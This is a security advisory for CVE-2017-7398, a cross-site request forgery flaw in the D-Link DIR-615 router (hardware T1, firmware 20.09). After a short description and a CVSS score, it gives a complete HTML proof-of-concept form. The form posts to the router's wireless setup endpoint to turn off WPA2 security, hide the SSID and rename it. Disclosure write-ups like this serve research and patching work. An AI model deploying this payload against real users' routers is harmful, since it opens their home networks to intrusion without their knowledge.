D-Link DIR 615 HW T1 FW 20.09 Cross-Site Request Forgery

2017.04.04
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

*Title:* ==== D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability *Credit:* ====== Name: Pratik S. Shah *Reference:* ========= CVE Details: CVE-2017-7398. *Date:* ==== 1-04-2017 *Vendor:* ====== D-Link wireless router *Product:* ======= DIR-615 *Affected Version:* ============= Hardware: T1 , Firmware: 20.09 *Abstract:* ======= D-Link DIR 615 (HW: T1 FW:20.09) is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability. This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated. *Attack Type**:* =================== Remote *Details:* ========= CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to perform unwanted actions on router, which may lead to gaining full control of the device. *Proof Of Concept:* ================ 1) User login to D-link DIR 615 wireless router 2) User visits the attacker's malicious web page (DlinkCSRF.html) 3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security Options to None This is the CSRF POC for changing the Security option from WPA2 to None( Parameter: Method) Attacker can also tamper following parameters - *hiddenSSID* - *SSID* - *Passwords for all the applicable security options* <html> <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09 --> <body> <form action="http://192.168.0.1/form2WlanBasicSetup.cgi"; method="POST"> <input type="hidden" name="domain" value="1" /> <input type="hidden" name="hiddenSSID" value="on" /> <input type="hidden" name="ssid" value=“Hacked” /> <input type="hidden" name="band" value="10" /> <input type="hidden" name="chan" value="0" /> <input type="hidden" name="chanwid" value="1" /> <input type="hidden" name="txRate" value="0" /> <input type="hidden" name="method&#95;cur" value="6" /> <input type="hidden" name="method" value="0" /> <input type="hidden" name="authType" value="1" /> <input type="hidden" name="length" value="1" /> <input type="hidden" name="format" value="2" /> <input type="hidden" name="defaultTxKeyId" value="1" /> <input type="hidden" name="key1" value="0000000000" /> <input type="hidden" name="pskFormat" value="0" /> <input type="hidden" name="pskValue" value=“CSRF@test” /> <input type="hidden" name="checkWPS2" value="1" /> <input type="hidden" name="save" value="Apply" /> <input type="hidden" name="basicrates" value="15" /> <input type="hidden" name="operrates" value="4095" /> <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" /> <input type="submit" value="Submit request" /> </form> </body> </html> Disclosure Timeline: ====================================== Vendor Notification: 6th March 2017 -- Pratik S. Shah


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